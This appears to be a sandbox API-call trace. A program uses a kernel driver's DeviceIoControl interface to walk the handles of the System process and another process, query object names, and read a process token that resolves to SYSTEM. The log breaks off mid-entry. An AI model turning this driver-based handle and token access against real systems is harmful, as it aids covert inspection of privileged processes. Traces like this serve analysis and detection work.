[0064.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.456] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.456] PsAcquireProcessExitSynchronization () returned 0x0 [0064.456] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.456] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0064.456] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.456] PsReleaseProcessExitSynchronization () returned 0x2 [0064.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.456] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.456] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0064.456] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.456] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.457] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.457] PsAcquireProcessExitSynchronization () returned 0x0 [0064.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.457] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f0b60, HandleInformation=0x0) returned 0x0 [0064.457] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.457] PsReleaseProcessExitSynchronization () returned 0x2 [0064.457] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.457] ObQueryNameString (in: Object=0xfffffa80037f0b60, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.457] ObfDereferenceObject (Object=0xfffffa80037f0b60) returned 0x2 [0064.457] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.457] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.457] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.457] PsAcquireProcessExitSynchronization () returned 0x0 [0064.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.457] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f19f0, HandleInformation=0x0) returned 0x0 [0064.457] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.457] PsReleaseProcessExitSynchronization () returned 0x2 [0064.457] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.457] ObQueryNameString (in: Object=0xfffffa80037f19f0, ObjectNameInfo=0xfffffa800390b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.457] ObfDereferenceObject (Object=0xfffffa80037f19f0) returned 0x2 [0064.457] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.457] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.457] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.457] PsAcquireProcessExitSynchronization () returned 0x0 [0064.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.457] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f2f20, HandleInformation=0x0) returned 0x0 [0064.457] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.457] PsReleaseProcessExitSynchronization () returned 0x2 [0064.457] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.457] ObQueryNameString (in: Object=0xfffffa80037f2f20, ObjectNameInfo=0xfffffa800390c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.458] ObfDereferenceObject (Object=0xfffffa80037f2f20) returned 0x2 [0064.458] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.458] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.458] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.458] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.458] PsAcquireProcessExitSynchronization () returned 0x0 [0064.458] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.458] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f3820, HandleInformation=0x0) returned 0x0 [0064.458] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.458] PsReleaseProcessExitSynchronization () returned 0x2 [0064.458] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.458] ObQueryNameString (in: Object=0xfffffa80037f3820, ObjectNameInfo=0xfffffa800390e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.458] ObfDereferenceObject (Object=0xfffffa80037f3820) returned 0x2 [0064.458] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.458] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.458] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.458] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.458] PsAcquireProcessExitSynchronization () returned 0x0 [0064.458] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.458] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f3460, HandleInformation=0x0) returned 0x0 [0064.458] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.458] PsReleaseProcessExitSynchronization () returned 0x2 [0064.458] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.458] ObQueryNameString (in: Object=0xfffffa80037f3460, ObjectNameInfo=0xfffffa800390f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.458] ObfDereferenceObject (Object=0xfffffa80037f3460) returned 0x2 [0064.458] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.458] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.458] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.458] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.458] PsAcquireProcessExitSynchronization () returned 0x0 [0064.458] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.458] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f5c50, HandleInformation=0x0) returned 0x0 [0064.458] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.459] PsReleaseProcessExitSynchronization () returned 0x2 [0064.459] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.459] ObQueryNameString (in: Object=0xfffffa80037f5c50, ObjectNameInfo=0xfffffa8003910044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003910044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.459] ObfDereferenceObject (Object=0xfffffa80037f5c50) returned 0x2 [0064.459] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.459] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.459] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.459] PsAcquireProcessExitSynchronization () returned 0x0 [0064.459] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.459] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f5890, HandleInformation=0x0) returned 0x0 [0064.459] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.459] PsReleaseProcessExitSynchronization () returned 0x2 [0064.459] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.459] ObQueryNameString (in: Object=0xfffffa80037f5890, ObjectNameInfo=0xfffffa8003911044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003911044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.459] ObfDereferenceObject (Object=0xfffffa80037f5890) returned 0x2 [0064.459] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.459] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.459] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.459] PsAcquireProcessExitSynchronization () returned 0x0 [0064.459] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.459] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800231bdc0, HandleInformation=0x0) returned 0x0 [0064.459] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.459] PsReleaseProcessExitSynchronization () returned 0x2 [0064.459] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.459] ObQueryNameString (in: Object=0xfffffa800231bdc0, ObjectNameInfo=0xfffffa8003912044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003912044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.459] ObfDereferenceObject (Object=0xfffffa800231bdc0) returned 0x2 [0064.459] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.459] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.459] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.459] PsAcquireProcessExitSynchronization () returned 0x0 [0064.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0064.460] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.460] PsReleaseProcessExitSynchronization () returned 0x2 [0064.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.460] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.460] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0064.460] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.460] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.460] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.460] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.460] PsAcquireProcessExitSynchronization () returned 0x0 [0064.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003853590, HandleInformation=0x0) returned 0x0 [0064.460] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.460] PsReleaseProcessExitSynchronization () returned 0x2 [0064.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.460] ObQueryNameString (in: Object=0xfffffa8003853590, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.460] ObfDereferenceObject (Object=0xfffffa8003853590) returned 0x2 [0064.460] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.460] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.460] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.460] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.460] PsAcquireProcessExitSynchronization () returned 0x0 [0064.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003854050, HandleInformation=0x0) returned 0x0 [0064.460] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.460] PsReleaseProcessExitSynchronization () returned 0x2 [0064.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.460] ObQueryNameString (in: Object=0xfffffa8003854050, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.460] ObfDereferenceObject (Object=0xfffffa8003854050) returned 0x2 [0064.460] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.460] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.460] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0064.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0064.461] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0064.461] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000954) returned 0x0 [0064.461] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0064.461] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000954, DesiredAccess=0x8, TokenHandle=0xfffffa800289c440 | out: TokenHandle=0xfffffa800289c440*=0xc8) returned 0x0 [0064.461] ZwClose (Handle=0xffffffff80000954) returned 0x0 [0064.461] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.461] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0064.461] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0064.462] CloseHandle (hObject=0xc8) returned 1 [0064.462] CloseHandle (hObject=0xc0) returned 1 [0064.462] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0064.463] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.463] PsAcquireProcessExitSynchronization () returned 0x0 [0064.463] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0064.718] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0064.718] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.718] PsReleaseProcessExitSynchronization () returned 0x2 [0064.718] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0064.718] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8508) returned 0x0 [0064.718] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0064.718] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.719] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.719] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0064.719] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.719] PsAcquireProcessExitSynchronization () returned 0x0 [0064.719] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0064.966] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0064.966] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.966] PsReleaseProcessExitSynchronization () returned 0x2 [0064.966] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0064.966] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa80038dc404, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc404, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.966] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0064.966] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.966] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 